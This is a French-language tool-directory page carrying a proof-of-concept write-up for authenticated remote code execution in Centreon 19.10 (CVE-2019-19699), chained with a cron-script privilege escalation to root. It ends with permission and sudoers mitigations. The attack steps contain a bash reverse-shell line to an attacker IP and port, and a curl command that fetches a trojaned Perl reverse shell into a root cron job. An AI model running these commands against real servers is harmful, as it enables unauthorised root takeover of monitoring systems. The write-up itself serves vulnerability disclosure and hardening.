Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Outils/GitHubGitHub/spengesec/cve-2019-19699
Escalade de PrivilègesAnalyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et ÉducationLabs et Pratique
GitHubspengesec/cve-2019-19699

CVE-2019-19699

Centreon =<19.10 RCE authentifiée

Voir le dépôt
31il y a 6 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2019-19699

Centreon =< 19.10

Preuve de concept

  1. Exécution de code à distance authentifiée (CVE-2019-19699)
  2. Élévation de privilèges (Procédure pas à pas et atténuation)

Découvert par :

SpengeSec (Guylian Dw)

TheCyberGeek (Matthew B)

Exécution de code à distance authentifiée :

Commençons par nous connecter en tant qu'utilisateur Admin au panneau web de Centreon.

Après nous être connectés, nous naviguons vers Configuration > Commands > Miscellaneous

Poursuivez en cliquant sur Add comme indiqué dans l'image ci-dessous.

Nous créons maintenant un reverse shell bash comme commande Miscellaneous.

root@kitploit:~
#!/bin/bash
bash -i >& /dev/tcp/{IP}/{PORT} 0>&1

Et cliquez sur Save

Maintenant, nous naviguons vers Configuration > Pollers et cliquons sur notre poller Central

Cela nous donne accès au menu Modify a poller Configuration

Ici, nous pouvons faire défiler vers le bas et définir une Post-restart command

Poursuivez en sélectionnant le reverse shell créé précédemment, puis cliquez sur le bouton Save

Nous pouvons maintenant lancer le listener Netcat sur notre machine locale

Enfin, nous cliquons sur le bouton Export configuration dans le menu Configuration > Pollers

  1. Sélectionnez notre poller Central dans la liste déroulante Pollers

  2. Décochez les cases Generate Configuration Files et Run monitoring engine debug (-v)

  3. Cochez les cases Restart Monitoring Engine et Post generation command

  4. Sélectionnez Restart dans la liste déroulante Method

En cliquant sur Export, le poller redémarrera et exécutera ainsi la Post-Restart Command configurée précédemment. C'est à ce moment que notre listener reverse shell recevra une connexion.

L'exécution de code à distance authentifiée a réussi !

(Ceci était le write-up pour CVE-2019-19699)

À partir de là, nous passons à l'obtention des droits Root

Nous utiliserons CVE-2019-16406, découvert par TheCyberGeek, pour compromettre entièrement le serveur Centreon =< 19.10.

Commençons par générer un shell TTY dans notre terminal reverse shell actuel.

python -c 'import pty; pty.spawn("/bin/sh")'

Nous examinons maintenant quelles tâches cron existent en exécutant cat /etc/cron.d/*

Nous voyons maintenant que centreon_autodisc.pl est une tâche Cron.

(A été définie de 30 22 * * * root à * * * * * root à des fins de démonstration)

Ceci est exécuté en tant que Root ; remplaçons le centreon_autodisco.pl par un reverse shell Perl.

Le shell Perl que j'utiliserai peut être téléchargé ici.

Téléchargez le reverse shell, puis modifiez l'adresse IP et le port pour utiliser les vôtres, comme expliqué sur la page web.

Effectuez un mv pour renommer localement le fichier perl-reverse-shell.pl en centreon_autodisco.pl.

Lançons un SimpleHTTPServer local sur un port de votre choix.

De cette façon, nous pouvons curl http://{local_ip}:{port}/centreon_autodisco.pl -o /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl pour remplacer le centreon_autodisco.pl existant par notre reverse shell Perl troyen.

Maintenant que le fichier a été remplacé, il ne reste plus qu'à démarrer un listener Netcat sur le port configuré précédemment, et nous recevrons une connexion du serveur en tant qu'utilisateur Root !

L'accès au système en tant que Root a réussi !

Passons maintenant aux notes sur la manière dont nous pensons que l'élévation de privilèges devrait être atténuée !

Paramètres actuels dans la version 19.10 :

root@kitploit:~
#####################################
# Centreon Auto Discovery
#

30 22 * * * root ls -la --config='/etc/centreon/conf.pm' --config-extra='/etc/centreon/centreon_autodisco.pm' --severity=error >> /var/log/centreon/centreon_auto_discovery.log 2>&1
* * * * * centreon /opt/rh/rh-php72/root/usr/bin/php /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php >> /var/log/centreon/centreon_host_discovery.log 2>&1

File Permissions:
-rwxr-xr-x 1 apache apache 173 Oct 11 11:09 /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl
-rw-r--r-- 1 apache apache 7880 Oct 11 11:09 /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php
-rwsrwxr-x 1 root root 7240 Aug 11  2017 /usr/lib/centreon/plugins/cwrapper_perl

Atténuation pour /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php

chown root:apache /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php

chmod 755 /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php

ls -la who

-rwxr-xr-x 1 root apache 7880 Oct 11 11:09 /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php

Comme vous pouvez le voir, il appartient maintenant à Root ; le groupe apache ne peut que le lire et l'exécuter, centreon ne peut que l'exécuter, par conséquent cela n'affecte pas le fonctionnement.

Exemple :

bash-4.2$ whoami

apache

bash-4.2$ echo "hello" > /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php

bash: /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php: Permission denied Mais apache peut toujours l'exécuter.

Atténuation pour /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl

chown root:apache /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl

chmod 755 /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl

ls -la /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl

-rwxr-xr-x 1 root apache 173 Oct 11 11:09 /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl

Comme vous pouvez le voir, il appartient maintenant à Root ; le groupe apache ne peut que le lire et l'exécuter, centreon ne peut que l'exécuter, par conséquent cela n'affecte pas le fonctionnement.

Exemple :

bash-4.2$ whoami

apache

bash-4.2$ echo "hello" > /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl

bash: /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl: Permission denied Mais apache peut toujours l'exécuter.

Atténuation pour /usr/lib/centreon/plugins/cwrapper_perl

Utilisez des commandes sudo définissant les scripts spécifiques devant être exécutés par chaque utilisateur.

Faites en sorte que root soit propriétaire de chaque script perl, afin que les utilisateurs ne puissent pas modifier ou remplacer le script pour une élévation de privilèges.

chmod 755 /usr/lib/centreon/plugins/cwrapper_perl

ls -la /usr/lib/centreon/plugins/cwrapper_perl

-rwxr-xr-x 1 root root 7240 Aug 11 2017 /usr/lib/centreon/plugins/cwrapper_perl

Les utilisateurs ne peuvent désormais plus modifier ou remplacer le script !

Exemple :

cat /etc/sudoers

...

## Allow root to run any commands anywhere

root ALL=(ALL) ALL

centreon ALL=(ALL:ALL) NOPASSWD: /usr/lib/centreon/plugins/cwrapper_perl example_script1.pl

centreon ALL=(ALL:ALL) NOPASSWD: /usr/lib/centreon/plugins/cwrapper_perl example_script2.pl

centreon ALL=(ALL:ALL) NOPASSWD: /usr/lib/centreon/plugins/cwrapper_perl example_script3.pl

centreon ALL=(ALL:ALL) NOPASSWD: /usr/lib/centreon/plugins/cwrapper_perl example_script4.pl

apache ALL(ALL:ALL) NOPASSWD: /usr/lib/centreon/plugins/cwrapper_perl example_scripts1.pl

apache ALL(ALL:ALL) NOPASSWD: /usr/lib/centreon/plugins/cwrapper_perl example_scripts2.pl

apache ALL(ALL:ALL) NOPASSWD: /usr/lib/centreon/plugins/cwrapper_perl example_scripts3.pl

apache ALL(ALL:ALL) NOPASSWD: /usr/lib/centreon/plugins/cwrapper_perl example_scripts4.pl

...

---Fin de sudoers---

ls -la example_script1.pl

-rwxr-xr-x 1 root centreon 173 Dec 15 11:09 example_script1.pl

ls -la examle_scripts1.pl

-rwxr-xr-x 1 root apache 173 Dec 15 11:09 example_script1.pl

Les utilisateurs peuvent toujours exécuter les scripts nécessaires et les scripts ne peuvent pas être modifiés par apache ou centreon, ce qui élimine entièrement la menace de sécurité pour l'élévation de privilèges.

Si un attaquant parvenait à entrer dans la machine maintenant, prendre le contrôle total de la machine serait très difficile, voire impossible, à moins que d'autres menaces ne soient découvertes.

Pour l'utilisateur Centreon, la seule élévation de privilèges que nous avons pu trouver était le cwrapper pour perl ; ainsi, si la commande post-restart était exécutée par l'utilisateur centreon et qu'un attaquant obtenait un shell en tant qu'utilisateur centreon, il ne resterait pratiquement plus aucune surface d'attaque.

Merci d'avoir lu

Télécharger l’outil